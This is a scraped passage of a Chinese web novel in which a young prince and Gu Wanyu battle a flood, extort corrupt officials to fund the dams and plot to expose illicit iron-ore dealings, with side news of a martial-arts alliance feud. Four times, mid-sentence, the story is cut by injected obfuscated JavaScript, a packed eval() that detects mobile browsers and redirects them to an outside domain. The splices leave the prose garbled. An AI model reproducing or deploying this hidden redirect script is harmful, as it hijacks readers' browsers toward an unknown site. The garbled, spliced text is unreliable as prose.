汨江边,穿着斗笠蓑衣仍浑身湿透的崔煜川指挥着劳工们沿河岸继续掘土,此时汨江的水流已经十分湍急,往日澄澈的江水也变成了浑浊的黄色。 顾婉妤骑着马从远处跑来,找到崔煜川后,她一下勒住马头,麻利地跳下马,抹了把脸上的雨水便急急说道:“应急渠挖通了,水暂时引入了棠湖!” 崔煜川见顾婉妤穿着单薄,唇色都有些发白了,他心疼地迎上来,捂住她冰凉的双手:“辛苦你了。” 这次的暴雨来得急,打了所有人一个措手不及。当初刚来绥金城,崔煜川就发现水利工期正好逢上雨季,他天天在心中祈求,千万不要下暴雨引发洪涝,结果现在看来……上天没有听到他心中的声音。 幸好崔煜川早有安排,在前期就带领水利团队沿河摸排,根据地势起伏画出了一条应急河道的线路。这次雨一下起来,崔煜川便安排一队人手进行应急河渠的挖掘和贯通。 崔煜川分身无术,顾婉妤就替他监工。一队人昼夜不休地干了三天,此时终于是把应急渠打通了,湍急的河水得以被引入棠湖,极大缓解了下游麓北平原的泄洪压力。 要是崔煜川没有早做安排,而是像李行那样当了个甩手掌柜,现在水肯定已经淹进农田了。 但是棠湖终究有所局限,要是大雨一直不停,洪涝是无法避免的。 因此,眼下唯一能解除整个麓北的洪涝之急的,便是完成福源堰的原定工程。第一是挖通汨江河段,第二是建起福源堰。 哪一项都不好做。 泡在冰冷的河水和泥沙中,对于人体而言无疑十分难耐,再加上冷冰冰的雨一直往身上扑,把人身子中的热源都浇熄了,还得防范一不留神被汹涌的河水卷走。河场劳工们近日来病倒了许多,工地人手严重不足。 “我想号召当地百姓们都过来抢险泄洪。”崔煜川遥望着河道沿岸一个个辛劳的身影,心中十分不忍,他语气凝重,询问顾婉妤的意见。 “当然!而且我们现在就去找李行和杨知府他们过来配合!”顾婉妤三天没合过眼了,一边镇守河场,一边还担心没有音讯的镜麓庄,睡眠不足引发的后果就是极度暴躁,想起那些不负责任的官员就恨不得手撕了他们,“不能让他们就这样躲在后面,之前贪的银子、疏漏的政事,全都得给我们还回来!” 杨府。 杨席及一干地方官员被煜王派人临时召集起来,他们不紧不慢地来到了杨府,在装饰豪华讲究的杨府议事厅坐下,品茗议论着煜王这次又是要做什么。 “近日雨下得不小,估计要以此为由头,让我们捐一笔银子救灾吧。”有官员用不以为意的语气说道,“捐就是了,区区银两,自然是捐得起的。” 杨府的小厮进来通报,说李行大人也来了。 李行一进来,见满座皆是与他臭味相投的“自己人”,便放宽心入座了,还与各个地方官员都熟稔地打招呼,一看就是近来一起厮混不少,彼此都认得了。 “李行大人,您看小煜王今日是葫芦里卖的什么药呢?他把我们召集到杨知府家里,自己却迟迟不出现。”有人谄媚地问道。 “我怎会知道。”李行从鼻子里哧出一声,显然对崔煜川的做法不满。 急匆匆的脚步传来,小厮又跑进来通报:“煜王到——” 下一秒,他就被一只青筋毕露的手拽着领子抓了出去。 满座官员皆是一惊,就在他们惊疑不定的目光中,一队黑衣带刀侍卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932899|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闯进了议事厅,吓得众人或站起来或往后躲,皆被寒光闪闪的刀锋指向了脖子:“不许动!” 院外也传来杨府下人们惊吓的叫声,议事厅的门一动,崔煜川两手用力推开,雕花木门打在墙壁上,发出巨大的撞击声。 顾婉妤紧随其后,也是面露煞气,她在绥金城待了这么多日,被崔煜川带着也见了不少地方官员,有一个算一个都是酒囊饭袋,刻意失职不插手政务的草包! 现在,满座的官员们无一人敢动了,早些时候他们听说是来杨府,自然而然便感到安全,都没有带护卫过来,这下无人可救他们了。 只是有人嘴还不消停:“煜王!你什么意思!” 正是李行,他还胆敢叫嚣。 崔煜川走到上首,冷笑一声:“李行,我就算是今天在这里把你斩了,也没人能治我的罪。” 李行闻言浑身一抖,不敢相信这凶悍的话语是从小煜王嘴里说出来的。 事实上,崔煜川忍他的种种行径已经忍到忍无可忍,没有直接动手都还算是客气了。谁让煜王本就是嫉恶如仇的性子。 李行又斜着眼珠,看了看旁边那些拿着刀的人,越看越心惊,这些人身上虽没有明显的标志,但以他在宫中多年的阅历和眼力见,怎么越看越像皇城禁军? 禁军几乎可说是皇帝养的私兵,难道煜王对他的表现不满,上奏到皇帝那里,皇帝派人来收拾他了? 李行立马便被吓老实了,眼观鼻鼻观心,一声都不敢吭。 他哪会想到,这些禁军实际是皇帝派来平稳江湖局势的。朝廷与江湖素有互不插手的规矩,但实际上若是江湖大乱闹得过分,影响了大景内部的稳定,朝廷也会出手干涉。这批禁军原本的目的地是镜麓,中途接到煜王的指示,要他们借道绥金城来帮个忙,他们便来了。 “煜王爷,有话好商量,您说什么我们一定支持,大可不必如此兴师动众。” 杨知府皮笑肉不笑地说道,这毕竟是在他家自己的地盘,居然被人用刀指着脖子,简直是折辱,他看着崔煜川,眼中几乎要喷出火来。 “还是杨知府识大体。”崔煜川轻飘飘地说道。 被一个年纪小自己好几轮的小辈这样说,杨知府更生气了,但他无法发作,只好憋着,憋得脸都红了。 顾婉妤在一旁看得解气,没想到崔煜川这嘴气起人来也挺强的。 “各位大人也知道,近来连日下雨,汨江的水已涨得很高了,若不是工人们争分夺秒地进行挖掘排水,洪水早就要冲到这绥金城的脚下了。“ “那是,那是,还是王爷治水有方。”不少官员不敢惹崔煜川,忙顺着他的话大加赞扬。 崔煜川冲他们笑:“想必诸位大人也心系这麓北平原上的千家万户,愿意做做贡献。本王现在想出一招,就是号召百姓们一起加入到治水中来,方可抵挡汹涌的江水。只是现在工程缺少银两,无法对参与施工的百姓们进行经济上的补偿。” 这话已说的很明白了,就是让这些官员们赶紧捐银子,水利工程还是他崔煜川来想办法解决。 对这些尸位素餐的地方官来说,崔煜川的这个提议当然是他们乐于见到的,不就是捐捐银子吗?地方上一出了什么事,不用杨知府主动说,他们都得带着银子送上门捐款,这早就是约定俗成的惯例了。 而且崔煜川肯扛起工程和治水的重任,那万一到时候工程没建好,或者洪涝淹过来了,那担责的人也是他。 35. 西风送凉(6) 这些官员自然是乐得清闲了,他们连连点头,一连声地应和着崔煜川的话。 顾婉妤抬起眼睛,和崔煜川交换了个胜券在握的微笑。 他们熬着连日未休息的发昏的头脑,想着如何把这些官员多年来贪腐的家底全都掏出来,可是费了好大的脑筋,才想出来这个计策。 “那么就请诸位大人在这些红纸上签字画押吧。”顾婉妤甜声笑。 这些官员都知道这个小姑娘与崔煜川关系密切,说不准就是未来的王妃,自然也是丝毫不敢怠慢,都赔笑着双手接过顾婉妤手中的红纸。 结果,一看清楚上面的字,他们统统都愣住了。 “要筑起堰堤,需千名力夫一齐抗抬巨石,投放到汨江当中。为此,需向民间征召壮丁,一名壮丁每日给予银钱一两,工期以月计,每月至少要筹措三万两银子。另外,若是大雨一直不停,迟早有外地的难民涌入城中,要赈灾济贫,又是一笔支出。”顾婉妤慢悠悠地给官员们算账,有理有据,“绥金城渡过水灾的希望都在于此,要大人们一人捐赠五千两银子,也并不过分。” 话虽如此,但…… 有一人忍不住开口:“下官哪来的五千两银子呢!全副身家掏空也拿不出来啊!” 有一人带头,其他官员也纷纷表示不可能:“五百两银子都拿不出来,五千两是要了我的命啊!” “一名壮丁每日给一两银子?也太多了!” “就是,从没有见过给这么多的,现在每日给河场劳工四百文已经足够了,应该继续此标准才是,肯定能召集得起千人的队伍。” 顾婉妤拍拍手,压下嘈杂的议论,她挑起眉毛,口吻严厉:“诸位大人恐怕还没有搞清楚,现在没有给你们商量的余地。” 刀光粼粼、寒气迫人,正架在脖子上,散发出强烈的杀气,官员们都闭上了嘴,敢怒不敢言。 “我们也考虑到,或许有些大人一下子拿不出这么多银钱,但这里不是有能拿得出来的人吗?”顾婉妤看向杨知府,索性把话挑明,“拿不出来就问杨大人借。” 图穷匕见,杨知府这才明白过来,为什么崔煜川和顾婉妤把局设在了他家。他低下头,看桌子上放着的这张红色的“传信”。 信上写的很简单,就是以自述的口吻,要求家中下人带上五千两银子到杨府来急用,若一下子拿不出这么多,也可以给杨知府打个欠条,写上需借的金额。 这样一来,下人们必然以为自家的老爷又和杨知府有什么交情往来,能拿出这么多银子的就老老实实来送钱了。而那些实在拿不出来的官员,又要他杨席来补齐差额。 席间鸦雀无声,有点脑子的都能看出来这是要把杨知府当成最大的冤大头薅,但偏偏杨知府贪腐多年,身家巨富,这些钱他还真拿得出来,只是交出来之后必然要伤筋动骨了。 从一开始,崔煜川和顾婉妤就是打上了杨知府手中的银钱的主意。他贪了这么多年,又借着福源堰建设大肆搜刮民脂民膏,总得还回来一次。 “快点啊,都快点写。”顾婉妤催促他们,“这事不完,诸位大人就得在这一直坐着,多难受啊。” 她环绕一圈,看到除了李行和杨席,其他人都老老实实地签名了。 他们心知肚明,这次谁也逃不了了。反正有杨知府兜底,就看家里的下人聪不聪明了。 从此刻起,无人再敢小瞧小王爷和他身边的姑娘,这两人看着年纪轻轻,又是从别处来的,在当地毫无势力,竟真能让一群作威作福多年的地方官吃瘪。 顾婉妤把信收集起来拿出去,交给杨府的下人。下人们都清楚这些官员的宅邸在哪里,被顾婉妤冷着脸威胁几句,一个个点头哈腰保证一定送到,就急匆匆地出去了。 顾婉妤回到屋子里,向崔煜川点点头。 崔煜川递来一个感激的眼神,随即变了脸色,又开始唱黑脸,对李行发难。 “李大人,此次水利建设,你作为总承办人,指挥不足,有所失职。圣上派你来,肯定不是希望你做个甩手掌柜,把工程扔给旁人自己就不闻不问了。” 搬出皇上,李行就蔫了,但他还要面子,索性背过身去不看崔煜川,也不说话,一副油盐不进的表现。 崔煜川当没看见,接着对他说:“接下来必须要解决资源不足的问题,就劳李大人去协调一下,看从哪里能调来大批的石块和铁矿。李大人能力过人,这点小事总难不倒你,以后也好去圣上面前交差。” 崔煜川的话的确提点了李行,就算他要偷懒耍滑,可总得有点作为,以后才能在交差时在皇帝面前有话可说,否则不用任何旁人告状,眼里容不得沙子的皇帝自己就要对他发难。 从顾婉妤的角度,恰好看到李行眼球微动,知道他听进去了,便抬眼给了崔煜川一个肯定的眼神。 两人默契非凡,心领神会。知道没问题了,便坐了下来,一起和这些官员们熬。 筹集大笔银钱需要时间,在这汨江工期正急,禁军们也急着去镜麓的时期,拿出这么多时间来官员们对峙,实属奢侈。但这也没办法,如果没有银子,汨江排水泄洪的工程势必无法尽快完成,到时候整个麓北付出的代价将是惨重的。 虽然面上不显,但崔煜川和顾婉妤饼行险招,心中都是又焦急,又担忧。 好在,好消息不久后便来了,陆陆续续便有官员们家中的下人带着银钱踏入杨府。 顾婉妤管钱,她拿着账本走出去,挨个记账。 这些官员们也很有意思,有些人家中可能藏了大笔的金银,于是五千两银子是用箱子装了金银细软,再用马车一车车拉过来的。 而有些人家中没有现银,就带了厚厚的一沓银票过来。 还有些下人脑子聪明,推说家中没有钱,写了给杨知府的欠条。 顾婉妤一一清点检查,感觉这辈子都没见过这么多钱。她把欠条上的金额一张张核对好,让人进去拿给相应的官员签字,再送到杨知府手中,请他收好并付钱。 杨府宽阔的庭院中,一箱箱的金银财宝逐渐堆成小山,令围观的下人们都叹为观止,顾婉妤叫他们别愣着,把车推出来,箱子都堆车上。 开玩笑,这么多钱可不能留在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943256|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,他们要带走的。 当然,也不是带回自己家,而是带去衙门。 另一边,杨知府看着手中越来越多的借条,面色黑如墨汁,气得说不出话来。 屋子里静悄悄的,其余官员大气都不敢出,一方面庆幸自己不用交出那么多钱,另一方面害怕以后杨知府找自己秋后算账。 从权势上,杨知府掌握他们的官运生死,从金钱上,杨知府手里有他们亲笔签字的借条。 煜王这是要他们窝里斗啊。 有年老的官员捋着胡子,力竭靠在椅子上,心中感慨自己阅历深厚,却人到老年反而被年轻人算计了一把。 “杨知府,这些数额你可看好了,加上你自己捐赠的五千两,一齐清点出来吧。”崔煜川淡淡地催促道。 杨知府环顾四周,这些拔了刀的禁军与他们僵持许久,仍目光灼灼,身形丝毫不晃动,当真是虎狼之军,打定主意要与他熬,他大叹一口气,把手里的纸全都递给杨府下人,让他们只管去办,别来过问他了。 不久后,从杨府便驶出了一辆辆的马车,两边还有一队凶神恶煞的士兵护卫。载满了金银的车队就这样高调且气势汹汹地招摇过市,引来了大批民众的跟随。 他们想看看,官府这又是在做啥,跟着跟着,却发现车队进入了衙门。 这时,赵判官也从衙门里迎出来了。这绥金城大案小案大多都是赵判官办的,百姓基本都认得他,就看他拿着张红榜,往衙门门口的告示栏一帖,扬声对围观的百姓们说道:“诸位,近来天降大雨恐有涝灾,河场工程紧张,急招壮丁。煜王体恤百姓,大手笔召壮丁一千人,每人一日发一两银子!有此造福家乡,又有利可图的好差事,过了这次可再也找不着了!” 哗——围观的人群一下子炸了锅。 一日就发一两银子! 一两银子就是一千文钱,在绥金城,一个靠体力吃饭的劳动者一天也就只能赚个一百文钱。 煜王来主持水利建设,当真是财大气粗!明明天降大雨是坏事,却产生了这等好机会,谁不乐意呢! 当即就有人等不及了,连忙问赵判官:“在哪报名!” “不要着急,就在此处,待我们抬张桌子出来。诸位百姓乡亲,你们排好队,维持秩序,待会煜王要亲临考察。” 一听“财神爷”要来考察他们,有意向加入的壮劳力们纷纷安静下来,赶紧排队,整理衣冠,生怕让煜王看不顺眼了不让自己报名挣钱。 人群中最能闹腾的这帮人安静下来,其他百姓也纷纷回去传消息的传消息,安静看热闹的看热闹。 赵判官十分满意,差人赶紧去准备物品,时不待人,马上开始登记! 崔煜川和顾婉妤来到衙门门口时,见到的就是这样一副秩序井然的样子,和城中平时人一多便闹哄哄的样子截然不同。 “王爷来了!”有不少人眼尖地发现了崔煜川,接着神奇的一幕就发生了。 围着衙门的百姓们自觉给崔煜川让出来一条通道,通道尽头是忙碌着登记的衙门文官,还有笑容满面看过来的赵判官。 36. 西风送凉(7) 崔煜川穿过人群走向前,那些百姓就这样盯着他,头跟着他转,人人都又精神又利索,眼中还充满了对煜王的信任和崇拜。 顾婉妤在后面看得咋舌,她刚来那会,满城还都是对煜王的不满和谣言。她为此还和人大吵一架。 现在则完全不一样了,崔煜川当真是以他脚踏实地的努力,扭转了局势。 这时,居然也有人认出了她,朝她打招呼。 顾婉妤回看过去,得到的同样是善意的目光。 有人便朝她喊:“顾姑娘,辛苦了!” 看来她的努力也不是白费的,顾婉妤发自内心地扬起笑脸,点头致意。 然而马上她就笑不出来了,因为热情又八卦的百姓们居然问她,和煜王是不是一对,什么时候成亲。 她顿时感觉脸烧了起来,连忙看向崔煜川,见他大踏步地往前走,应该是没有听见,才舒了一口气,尴尬地回应:“没有没有。” 其实,崔煜川耳朵很好用,他听见了这些百姓们善意的问话。不仅听见了,心里还美滋滋的。 但崔煜川也害羞,他比顾婉妤稍微好一点的是更加明白自己的心意,所以只是嘴角微扬,当作没有听到,不去做多余的反驳。 顾婉妤一路小跑穿过人群,来到衙门登记丁夫名册的桌案前,见到上面已经整齐排列了许多的名字。 “王爷,顾姑娘。”赵判官向她们拱手致意,“新登记的壮丁,我已经让他们去河场工地自行领命了,那边都准备好了吗?” “对,他们去了自有人安排工活,感谢赵判官。”崔煜川拱手回礼。 一千名新来的壮丁,调度起来也是个不小的挑战,好在崔煜川和顾婉妤早有打算。他们调整规划,最终确定将工程整体分为三部分,一部分是汨江沿岸清淤排沙、加固防洪堤的工作,另一部分是在棠湖与汨江之间修建三等高度的分水坝,最后一部分是在棠湖以北的湖口筑起拦水闸门,并拓宽棠湖通向镜麓的水道以便行船。 由于工程的施工点不同,他们便安排了几名人员专管人力,每日在各个施工点的丁夫们上下工必须就近登记,再拿着开具的纸条到衙门领取报酬。这样崔煜川他们把筹集起来的资金放在有武力把守的衙门里也比较放心,而且有责任心的赵判官会主持工筹的记账对账事宜,不怕出现问题。 现在石块和铁矿还没有运来,所以他们暂且只能进行第一部分的工活以及拓宽通向镜麓的水道,崔煜川和顾婉妤一人负责一部分。 新来的壮丁加上原本的壮丁以及从京城来的水利工程团队,加一起统共不到两千人,对于这项大工程来说其实也并不算多。不过每个人都能全心全意咬紧牙关加紧赶工,工程便可以如期进行,使人看到希望。 就这样过了半月,大雨却一直不停,虽然水利工程进展顺利,但汨江水位已经上涨到一个令人恐惧的临界值。汨江附近李家村落在河岸立着的水位线刻度记录可以显示,此地几十年来都没有达到如今的水位高度,恐怕大涝将至了。 这下,不仅是愁眉不展的京城水利专家们以及睡不好觉的顾婉妤和崔煜川,连李行也开始着急了。 他奉命来主管修建水利,修着修着反而发生了重大洪涝,那还有办法解释吗?李行在棠湖立了一尊龙王像,供奉香火不断,每日去叩首祈求大雨快快停歇。 崔煜川早就暗地里向皇帝报备过如今的局势,并言明了都作院的行为有不当之处,他虽没有明说想用都作院的铁矿,但交代情况之后请示了可否暗中调查,想必皇帝能懂得他的言下之意。 果然,皇帝的回函中只说“可查”,并未对顾婉妤从铁匠处得知的那些情况以及多出来的铁矿发表看法,这便算是默许崔煜川自行斟酌、灵活应变了。 于是崔煜川便催促李行赶快去解决矿产不足的问题。 果然,不出意料地,都作院的都作使杜林峮上门来为李行排忧解难了。 李行一听说都作院有足够的铁矿能使用,当即便高兴坏了,拍板决定就要征用这批铁矿。他兴冲冲地去找崔煜川,却被崔煜川三个连续的问题问得晕头转向。 “第一,这批矿我们用了,他们都作院用什么制造武器兵甲?前线可还在打仗!第二,这上等的铁矿石,都作院难道同意了免费赠给我们?你没问问他们出价多少?第三,铁矿固然重要,但并非是水利建设中最关键的,我要你找的石头呢?” 难为李行一个老臣,如今在年轻的崔煜川面前被训斥得矮了三分,他哑口无言,又屁滚尿流地跑了。 崔煜川虽然严肃地把李行打发走了,心中却是欣喜万分,等了许久,这个老家伙终于开始去碰都作院这批铁矿了,他和顾婉妤早就看好了这些矿,但是无法名正言顺地调用,于是就把锅甩到李行身上,让他去联系杜林峮,主办这件事。 反正以他前期不负责任的表现,迟早要被秋后问帐,也不差帮忙背背黑锅了。 崔煜川在汨江,顾婉妤在棠湖北,两人这段时间都是这样各自待在两边的工地里督工,崔煜川马上差人骑马去联系顾婉妤,告诉她这件事。 顾婉妤一收到口信,便同样地露出了欣喜之色,就等都作院这条大鱼上钩了。 这事也与镜麓有关。 自从她上次给阮竹姐寄了信,又听闻闫鹘身亡消息后,时隔好久阮竹姐才终于给她回了信,告知了镜麓的情况。 闫鹘死后,镜麓的局势朝着急转直下的方向发展,六大门派撕毁约定并声称,所谓的天下大比的赢家将称霸武林一事,是闫鹘的片面之言,他既然如今死了,自然是算不得数的。 因此武林联盟仍应当由六大门派主导,而武林盟主之位,也应当由六大门派中德高望重之人出任,六个门派轮流转首,每三年更换一次。 六大门派春风得意,本以为盟主之位手到擒来,却没想到这个说法遭到了其他门派及各江湖散人的一致反对。 也是,前期为了争夺盟主之位,参加大比的人员伤亡惨重,更是延伸出了许多恩怨,现在中途叫停,说盟主之位的承诺做不得数了,这谁能接受?!就算是六大门派来主持大局,也已经没有人能甘心放弃。 而令阮竹君本人都万万没想到的是,其中反对声音最大,对六大门派的镇压反扑最严重的,居然是群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951679|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙无首的镜麓庄。 对于镜麓庄弟子们来说,自家文韬武略、举世无双的庄主闫鹘突然身亡,其中一定有诈,说不定就是六大门派为了这个武林盟搞得鬼!而且就算庄主死了,庄主说的话也绝不能就这样失效,他们要誓死捍卫庄主生前的这最后一道口谕,拥护天下大比的赢家上位! 真是的……全镜麓庄都疯了吧……阮竹君看着与六大门派当场对峙的弟子们,心中感慨万分,却突然又觉得镜麓庄就该有这样的气节和风格,他们从来没有怕过任何一个江湖势力,永远走在前面引领武林的走向。 哪怕当初庄主突然宣布他的决定时,弟子们满是不理解,但现在所有人都会为了这个逝去之人的诺言而战。 镜麓庄内,恼羞成怒的六大门派与镜麓庄率领的散人一派们大打出手,鏖战了五日有余,又是一片死伤无数,镜麓山门外那长长的汉白玉阶梯都被鲜血染红。直到朝廷派来的禁军赶到,才出手停止了这场闹剧。 听说隐一在混战中受了伤,疯子前辈带着隐一回宿影楼疗伤了,于是只剩下流火君陪着阮竹姐。 流火君在阮竹姐那里只有乖乖听话的份,很难劝动或者改变阮竹姐的想法。 于是当他知道阮竹以及镜麓庄其他人都要继续主持武林大比时,他只能惊讶到瞠目结舌,又苍白无力地劝诫阮竹姐放弃这个想法,停止大比。毕竟全武林现在已经乱成一锅粥里,各门各派及江湖散人们全都元气大伤啊!还要比,还得死多少人…… 阮竹却目光晦涩地看向他,问这样不是正好吗? 正是因此,你才可以上位,成为武林盟主,镜麓庄也会继续原本的荣耀和地位。 流火君被这一句话弄得冷汗直冒,他是真的被他们镜麓之人的决厉吓到了。 朝廷方面,自然也同意镜麓庄的这个决定,毕竟朝廷最不想看到的就是江湖动荡不安,影响大景安宁。这次武林大比弄成这个样子,终归还是要怪六大门派最先想要造反,搞个三年一换首领的武林盟出来。万一真成了,以后三年一次争夺盟主之位,还不知道又要生出什么事端,和朝廷的关系也不一定能维持过去的相安无事。 总之,镜麓愿意继续挑起江湖的大梁,对朝廷来说是再好不过了。 于是,武林大比居然就在这一片血色中继续召开了。 这次,镜麓庄的弟子们挑起大梁,主动扫清敌人,他们视六大门派为血海深仇的敌人,自然毫不手软,主动挑战最有希望最强悍的对手,大大消耗了盟主之位强有力竞争者们的实力。 再加上流火君原本就实力强悍,前期以守护阮竹君的安全为主,没有过多掺合到门派鏖战之中,保存了体力和实力,身上也没有伤。 最后,还真让他赢了。 天命难违、造化弄人。这八个字,诠释了这位新任武林盟主的上位之路。 顾婉妤看了阮竹姐给她写的信,真是又震惊又庆幸,同时心中不可控制地生出了一个奇怪的念头——这些变故看似离奇,却全都往闫鹘所期待的方向发展,难道,这些都是闫鹘设下的局? 可惜,斯人已逝,一切都成谜了。 37. 西风送凉(8) 而铁矿的事情,阮竹君在信中也给出了交代。 这真是说来巧,流火君居然认识镜麓镇外铁矿区的相关人员。 当初流火与顾婉妤他们走到镜麓镇,宿在镇上一家旅店里,几个人天天都是各自分头行动,尤其是流火君受到顾婉妤嫌弃,没人陪他玩,他就待在旅店里,恰巧遇上旅店那位爽快耿直的老板娘,喜气洋洋地把旅店装饰得格外漂亮,就像天天过节一样。 流火君闲着无聊,便帮忙往老板娘够不着的高处挂了些装饰,随口问道是有什么喜事。 老板娘说家中生意好,她相公在镇外包的杂铁矿又卖出去一大批矿石,赚到了他们夫妇二人这辈子都想象不到的银子。 杂铁矿不值钱,这是卖出去了多少,流火君在心里嘀咕,也没继续往下问别人家的私事。但阮竹君看了顾婉妤的来信,和他一讨论,他就一下子想起来这件事。 下山求证,还真是卖进了绥金城。 镜麓镇居民常年受镜麓庄恩泽,素来对庄里人很尊敬,阮竹君说下次运矿石时,能否在绥金城外让自家妹妹上车,了解一下交易的流程,涨涨见识,保证只看不说话不给他们添麻烦,老板娘及其丈夫马上就答应了。 顾婉妤读完信,深感这次的好运。她也对那名老板娘装饰旅店的事情有印象,没想到后面居然能牵扯出来铁矿的事情。 顾婉妤和崔煜川一合计,这事就应该让李行去联络,逼都作院拿出他们库存不用的那些官矿,再进一批杂铁矿,他们趁机探查一番,想办法留下证据,以后便可以向朝廷告发治罪。 今日李行终于有所行动,看来她苦等的时机不远了,也算没辜负云锦当初赠予的情报。 很快,李行就带着新的消息回来了。 他腆着脸对崔煜川说,都作院那边陈年堆积的矿石很多,就算拨过来一部分,也能保证不影响武器的正常生产。价格的话,可以给到铁矿的正常市场价。 李行怕崔煜川嫌贵,还连忙说,这官矿在外面买都买不到,肯以普通铁矿的价格卖过来,那是咱们赚了。 谁跟你赚了。崔煜川无语,这都作院满口谎言一听就全是漏洞,李行成天被人哄着捧着,明明是宫里的两朝元老,还真成老糊涂了。 他沉默不语,作出不满意的样子,李行怕崔煜川继续折腾自己,眼珠子转了两圈,又说:“对了!都作院还说他们的工匠可以帮忙打制水闸、铁钩那些部件,共同为当地的治水事业出力!这不错吧?” 都作院的铁匠都是最有经验、最优秀的,这当然好。崔煜川不动声色地点点头,看起来还是有些不满足。 “那……那老夫再去谈谈价格,谈谈价格……”李行悻悻地走了。 都作使杜林峮听说煜王嫌铁矿贵,不禁恼怒咬牙。他们这官矿偷偷卖到市场上去,可是能当金银一般卖出高价的!但事已至此,话都放出去了,买卖眼看就要成了,他还是更希望煜王能把这批矿收走。 因为杜林峮最看重的其实是,这矿卖给煜王名正言顺。不必心惊胆战地害怕库存的官矿被人查到,或是在市场上百般谨慎挑选买家。 这是个洗白的好法子,不仅能消耗掉库中至少一半积存的官矿,而且以后再被查出什么问题,也可以把锅甩给煜王,说是他们手中的官矿泄露出去,与都作院再无关系。 “好,我们必然要全力支持您和煜王的工程,可再让利百两,您看可行否?” 李行美滋滋地找崔煜川回话去了,他还以为杜林峮愿意让利是得益于自己的面子。 这次,崔煜川终于痛快地同意了。 很快,都作院便有了动静,为了填补官矿卖出后空余出来的库房,继续日常的生产,杜林峮秘密联系了镜麓的杂铁矿区,又大肆订购了一批铁矿。 阮竹君在重整镜麓的日子里一直密切关注着矿区的动向,一听说镜麓要发车运矿,连忙与负责人打了招呼,并向顾婉妤发了急信。 身处棠湖北部施工场的顾婉妤收到信后,立马骑马跑到崔煜川所在的工地向他告假,她要在预定的时间里赶往城外,好坐上运矿车。 崔煜川看着近来随他一起在河边风吹雨打的顾婉妤,才发觉她的小脸又变瘦削了,尖尖的下巴惹人怜惜。 崔煜川忍不住摸了摸她冷冰冰的脸庞。 温暖而宽厚的大手所带来的暖意,拂去了稀薄的雨雾所带来的湿润与冷气,从皮肤末梢一直熨帖到心中。顾婉妤呆呆的看着他,一瞬间竟有些贪恋这一刻的温存相接。 崔煜川被顾婉妤睁大眼睛瞧了片刻,才突然意识到自己的行为于礼不妥,他在少女懵懂的目光中倏然收回手,像被滑而柔软的皮肤烫到那样,慌慌张张道:“好……好的,去吧。” “嗯。”顾婉妤便点个头,直接打算就走。 “等一下!”崔煜川僵硬的大脑突然又正常运转起来,他急匆匆地说道,“这趟危险,千万不要逞强,遇到麻烦找华师傅他们,我等你回来。” “没问题。”顾婉妤翻身上马,居高临下地对他一笑。两人认识了这么久,又在绥金经历种种磨炼,这个姑娘如今已是英姿飒爽,有了不一般的气质和模样。 崔煜川不会阻止她做她要做的事情,即使可能遇到危险,因为顾婉妤把这作为她的事业、她的分内之事,他就要给予支持、做好后盾。 顾婉妤策马跑远了,崔煜川凝视着她的背影,心中又是骄傲,又是担忧。 “王爷不必担心,已经和华师傅他们说好了,他们在都作院里面会悄悄看顾好顾姑娘的。”一名来自京城的水利师傅正在旁边搅合加固堤坝的糯米胶,他目睹了崔煜川望眼欲穿的样子,不禁好笑,上前劝慰。 “嗯,我知道不会有事的。”崔煜川也笑自己关心则乱,他拍拍自己的肩膀打气,“我也不能输!继续干活。” 顾婉妤独自来到城外,稍作等待,就见到一队牛车从远方缓缓而来,拉着一车车的铁矿,蜿蜒而至。 她将马拴在树上,站在路边等待,领头的牛车车辕上,坐着个头戴斗笠的大爷,皮肤被阳光晒得黢黑,他眯着眼睛瞧了瞧顾婉妤,大声问道:“你要跟着去送矿吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955116|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “对!”顾婉妤也中气十足地回答。 大爷侧身让出个能坐人的位置,让顾婉妤上车。 她坐上去之后,大爷又不知从哪里捡出来个布袋递给她。 “这是什么?”顾婉妤打开布袋往里瞧,没想到里面竟是一张栩栩如生的人皮面具。 这一看就是流火君做的,虽然有点恶心,但肯定好用。顾婉妤便拿了出来,戴在脸上。 